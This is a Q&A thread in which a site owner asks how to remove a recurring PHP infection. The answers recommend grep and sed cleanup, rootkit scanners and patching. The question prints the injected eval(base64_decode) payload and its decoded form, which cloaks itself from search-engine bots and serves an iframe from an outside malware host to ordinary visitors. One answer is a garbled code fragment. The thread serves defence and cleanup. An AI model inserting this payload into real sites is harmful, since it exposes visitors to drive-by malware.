How to get rid of eval-base64_decode like PHP viru

Question

My site (very large community website) was recently infected with a virus. Every index.php file was changed so that the opening php tag of these files it was changed to the following line:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

When I decoded this, it produced the following PHP code:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

I've tried several things to clean the virus even restoring from a backup and the files get re-infected after a few minutes or hours. So can you please help me?

What do you know about this virus?

Is there a known security hole it uses to install and propagate?

What does the above php code actually does?

What does the page it embeds in the iframe does?

And of course more importantly: What can i do to get rid of it?

Please help, we have been almost run out of ideas and hope :(

UPDATE1 Some more details: A weird thing is: When we first checked the infected files. They were changed but their modified time in the ftp program was showing last access to be days, months or even years ago in some cases! How is this even possible? It drives me crazy!

UPDATE 2 I think the problem initiated after a user installed a plugin in his Wordpress installation. After restoring from backup and completely deleting the Wordpress folder and the associated db the problem seems gone. We have currently subscribed to a security service and they are investigating the issue just to be sure the hack is gone for good. Thanks for anyone who replied.

Answer 1

To get rid of these malicious PHP you simply needs to remove them. If the file is infected, you need to remove only the part which looks suspicious.

It's always tricky to find these files, because usually there are multiple of them across your web root.

Usually if you see some kind of obfuscations, it's red alert for you.

Most of the malwares are easy to find based on the common functions which they use, this includes:

• base64_decode,
• lzw_decompress,
• eval,
• and so on

By using encoding format, they're compacting their size and make them more difficult to decode by non-experienced users.

Here are few grep commands which may find the most common malware PHP code:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

You can run these commands on the server or once you synchronised your website into your local machine (via FTP e.g. ncftpget -R).

Or use scan tools which are specially designed for finding that kind of malicious files, see: PHP security scanners.

For education purposes, please find the following collection of PHP exploit scripts, found when investigating hacked servers available at kenorb/php-exploit-scripts GitHub (influenced by @Mattias original collection). This will give you understanding how these PHP suspicious files look like, so you can learn how to find more of them on your server.

See also: What does this malicious PHP script do?

Answer 2

Assuming this is a Linux-based server and you have SSH access, you could run this to remove the offending code:

find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

This covers all known base64 implementations, and will work whether the base64 text is surrounded by single or double quotes

EDIT: now works with internal whitespace also

Answer 3

")) { list($val, $code) = explode("

Answer 4

First, shut off your site until you can figure out how he got in and how to fix it. That looks like it's serving malware to your clients.

Next, search through your php files for fgets, fopen, fputs, eval, or system. I recommend notepad++ because of its "Find in Files" feature. Also, make sure that that's the only place your PHP has been modified. Do you have an offline copy to compare against?

Answer 5

1. Ensure any popular web applications like Wordpress or vBulletin are updated. There are many exploits with the old versions that can lead to your server getting compromised and it will probably happen again if they are not updated. No use in proceeding until this is done.

2. If the files keep getting replaced then there is a rootkit or trojan running in the background. That file cannot replicate itself. You will have to get rid of the rootkit first. Try rkhunter, chkrootkit, and LMD. Compare the output of ps aux to a secured server and check /var/tmp and /tmp for suspicious files. You might have to reinstall the OS.

3. Ensure all workstations administrating the server are up to date and clean. Do not connect via insecure wireless connections or use plain text authentication like with FTP (use SFTP instead). Only log into control panels with https.

4. To prevent this from happening again run csf or comparable firewall, daily LMD scans, and stay current with the latest security patches for all applications on the server.

Answer 6

CODE